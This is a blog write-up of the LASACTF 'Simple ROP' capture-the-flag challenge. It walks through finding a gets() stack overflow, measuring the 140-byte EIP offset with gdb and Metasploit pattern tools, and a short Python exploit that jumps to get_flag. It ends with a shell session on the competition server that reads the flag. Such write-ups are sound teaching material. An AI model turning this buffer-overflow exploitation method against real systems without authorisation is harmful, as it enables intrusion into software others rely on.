LASACTF Simple ROP

The last challenge that I completed was LASACTF Simple ROP.

Simple ROP – 120 XP

“Exploit the binary at /problems/simple-rop_0 on the shell server. source binary”

Solution

First things first, I ran the application with a bunch of A’s to verify a crash. Based on the description and challenge name, I was pretty sure this would be a buffer overflow vulnerability.

root@kali:~/lasactf# ./rop1
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
You said: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault (core dumped)

With the crash verified, I wanted to see if I had control over EIP.

root@kali:~/lasactf# gdb rop1 core
GNU gdb (GDB) 7.4.1-debian
Copyright (C) 2012 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "i486-linux-gnu".
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>...
Reading symbols from /root/lasactf/rop1...(no debugging symbols found)...done.
[New LWP 27264]

warning: Can't read pathname for load map: Input/output error.

warning: no loadable sections found in added symbol-file system-supplied DSO at 0xb7796000
Core was generated by `./rop1'.
Program terminated with signal 11, Segmentation fault.
#0 0x41414141 in ?? ()

With control over EIP verified, it was time to determine the length of my offset.

root@kali:/usr/share/metasploit-framework/tools# ./pattern_create.rb 1000
root@kali:~/lasactf# ./rop1
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B

Firing up GDB again showed an EIP of 0x37654136 after the second crash, which was 140 characters into my payload.

root@kali:~/lasactf# gdb rop1 core
GNU gdb (GDB) 7.4.1-debian
Copyright (C) 2012 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "i486-linux-gnu".
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>...
Reading symbols from /root/lasactf/rop1...(no debugging symbols found)...done.
[New LWP 27342]

warning: Can't read pathname for load map: Input/output error.

warning: no loadable sections found in added symbol-file system-supplied DSO at 0xb7747000
Core was generated by `./rop1'.
Program terminated with signal 11, Segmentation fault.
#0 0x37654136 in ?? ()
root@kali:/usr/share/metasploit-framework/tools# ./pattern_offset.rb 0x37654136 1000
[*] Exact match at offset 140

Next I just wanted to verify that my offset was working, which it was.

root@kali:~/lasactf# ./rop1
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
You said: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
Segmentation fault (core dumped)
root@kali:~/lasactf# gdb rop1 core
GNU gdb (GDB) 7.4.1-debian
Copyright (C) 2012 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "i486-linux-gnu".
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>...
Reading symbols from /root/lasactf/rop1...(no debugging symbols found)...done.
[New LWP 27360]

warning: Can't read pathname for load map: Input/output error.

warning: no loadable sections found in added symbol-file system-supplied DSO at 0xb7719000
Core was generated by `./rop1'.
Program terminated with signal 11, Segmentation fault.
#0 0x42424242 in ?? ()

After some decompilation, I found the get_flag method. This was probably the method that I wanted to jump to in my exploit. Ignore the memory addresses in this section, as I obtained them from a binary I compiled myself after the competition.

root@kali:~# objdump -d rop1

rop1:     file format elf32-i386

Disassembly of section .text:

< ... snip ... >

08048490 <frame_dummy>:
 8048490:   b8 38 97 04 08          mov    $0x8049738,%eax
 8048495:   8b 10                   mov    (%eax),%edx
 8048497:   85 d2                   test   %edx,%edx
 8048499:   75 05                   jne    80484a0 <frame_dummy+0x10>
 804849b:   eb 93                   jmp    8048430 <register_tm_clones>
 804849d:   8d 76 00                lea    0x0(%esi),%esi
 80484a0:   ba 00 00 00 00          mov    $0x0,%edx
 80484a5:   85 d2                   test   %edx,%edx
 80484a7:   74 f2                   je     804849b <frame_dummy+0xb>
 80484a9:   55                      push   %ebp
 80484aa:   89 e5                   mov    %esp,%ebp
 80484ac:   83 ec 14                sub    $0x14,%esp
 80484af:   50                      push   %eax
 80484b0:   ff d2                   call   *%edx
 80484b2:   83 c4 10                add    $0x10,%esp
 80484b5:   c9                      leave  
 80484b6:   e9 75 ff ff ff          jmp    8048430 <register_tm_clones>

080484bb <get_flag>:
 80484bb:   55                      push   %ebp
 80484bc:   89 e5                   mov    %esp,%ebp
 80484be:   83 ec 08                sub    $0x8,%esp
 80484c1:   83 ec 0c                sub    $0xc,%esp
 80484c4:   68 d0 85 04 08          push   $0x80485d0
 80484c9:   e8 b2 fe ff ff          call   8048380 <system@plt>
 80484ce:   83 c4 10                add    $0x10,%esp
 80484d1:   90                      nop
 80484d2:   c9                      leave  
 80484d3:   c3                      ret    

080484d4 <get_input>:
 80484d4:   55                      push   %ebp
 80484d5:   89 e5                   mov    %esp,%ebp
 80484d7:   81 ec 88 00 00 00       sub    $0x88,%esp
 80484dd:   83 ec 0c                sub    $0xc,%esp
 80484e0:   8d 85 78 ff ff ff       lea    -0x88(%ebp),%eax
 80484e6:   50                      push   %eax
 80484e7:   e8 74 fe ff ff          call   8048360 <gets@plt>
 80484ec:   83 c4 10                add    $0x10,%esp
 80484ef:   83 ec 08                sub    $0x8,%esp
 80484f2:   8d 85 78 ff ff ff       lea    -0x88(%ebp),%eax
 80484f8:   50                      push   %eax
 80484f9:   68 d8 85 04 08          push   $0x80485d8
 80484fe:   e8 4d fe ff ff          call   8048350 <printf@plt>
 8048503:   83 c4 10                add    $0x10,%esp
 8048506:   90                      nop
 8048507:   c9                      leave  
 8048508:   c3                      ret    

08048509 <main>:
 8048509:   8d 4c 24 04             lea    0x4(%esp),%ecx
 804850d:   83 e4 f0                and    $0xfffffff0,%esp
 8048510:   ff 71 fc                pushl  -0x4(%ecx)
 8048513:   55                      push   %ebp
 8048514:   89 e5                   mov    %esp,%ebp
 8048516:   51                      push   %ecx
 8048517:   83 ec 14                sub    $0x14,%esp
 804851a:   e8 51 fe ff ff          call   8048370 <getegid@plt>
 804851f:   89 45 f4                mov    %eax,-0xc(%ebp)
 8048522:   83 ec 04                sub    $0x4,%esp
 8048525:   ff 75 f4                pushl  -0xc(%ebp)
 8048528:   ff 75 f4                pushl  -0xc(%ebp)
 804852b:   ff 75 f4                pushl  -0xc(%ebp)
 804852e:   e8 6d fe ff ff          call   80483a0 <setresgid@plt>
 8048533:   83 c4 10                add    $0x10,%esp
 8048536:   e8 99 ff ff ff          call   80484d4 <get_input>
 804853b:   b8 00 00 00 00          mov    $0x0,%eax
 8048540:   8b 4d fc                mov    -0x4(%ebp),%ecx
 8048543:   c9                      leave  
 8048544:   8d 61 fc                lea    -0x4(%ecx),%esp
 8048547:   c3                      ret    
 8048548:   66 90                   xchg   %ax,%ax
 804854a:   66 90                   xchg   %ax,%ax
 804854c:   66 90                   xchg   %ax,%ax
 804854e:   66 90                   xchg   %ax,%ax

Now that I knew the method I wanted to jump to, I loaded the application back up in GDB to get the memory address of it. As this was an easier binary exploitation challenge, ASLR was disabled.

root@kali:~/lasactf# gdb -q rop1
Reading symbols from /root/lasactf/rop1...(no debugging symbols found)...done.
(gdb) p get_flag
$1 = {} 0x80484db

With the offset and JMP address in hand, it was time to write-up a python script for my exploit.

#!/usr/bin/python
import struct

def p(x):
return struct.pack('<L', x)

payload = ""
payload += "A" * 140

payload += p(0x080484db)
print payload

I then verified that it worked on my local instance by creating my payload file, loading the application back up in GDB, and setting a breakpoint on the get_flag method (0x80484db).

root@kali:~/lasactf# python rop1.py > input.txt
root@kali:~/lasactf# gdb rop1
GNU gdb (GDB) 7.4.1-debian
Copyright (C) 2012 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "i486-linux-gnu".
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>...
Reading symbols from /root/lasactf/rop1...(no debugging symbols found)...done.
(gdb) b *0x080484db
Breakpoint 1 at 0x80484db
(gdb) r < input.txt
Starting program: /root/lasactf/rop1 < input.txt
warning: no loadable sections found in added symbol-file system-supplied DSO at 0xb7fe0000
You said: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAۄ

Breakpoint 1, 0x080484db in get_flag ()

With my exploit compiled and working, it was time to test it on the target server. In the end, it worked, and I got my flag!

doyler@ubuntu-512mb-nyc3-01:~$ { python rop1.py; cat; } | /problems/simple-rop_0/rop1
You said: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAۄ
id
uid=1105(doyler) gid=1281(simple-rop_0) groups=1281(simple-rop_0),1001(competitors),1106(doyler)
cd /problems/simple-rop_0
ls
flag.txt rop1
cat flag.txt
lasactf{ret_1s_c0ol}
doyler on Githubdoyler on Twitter
doyler

Ray Doyle is an avid pentester/security enthusiast/beer connoisseur who has worked in IT for almost 16 years now. From building machines and the software on them, to breaking into them and tearing it all down; he’s done it all. To show for it, he has obtained an OSCP, eCPPT, eWPT, eWPTX, eMAPT, Security+, ICAgile CP, ITIL v3 Foundation, and even a sabermetrics certification!


He currently serves as a Senior Penetration Testing Consultant for SecureWorks. His previous position was a Senior Penetration Tester for a major financial institution.


When he’s not figuring out what cert to get next (OSCE?!) or side project to work on, he enjoys playing video games, traveling, and watching sports.


Leave a Comment

Filed under Security Not Included

Leave a Reply

Your email address will not be published. Required fields are marked *

*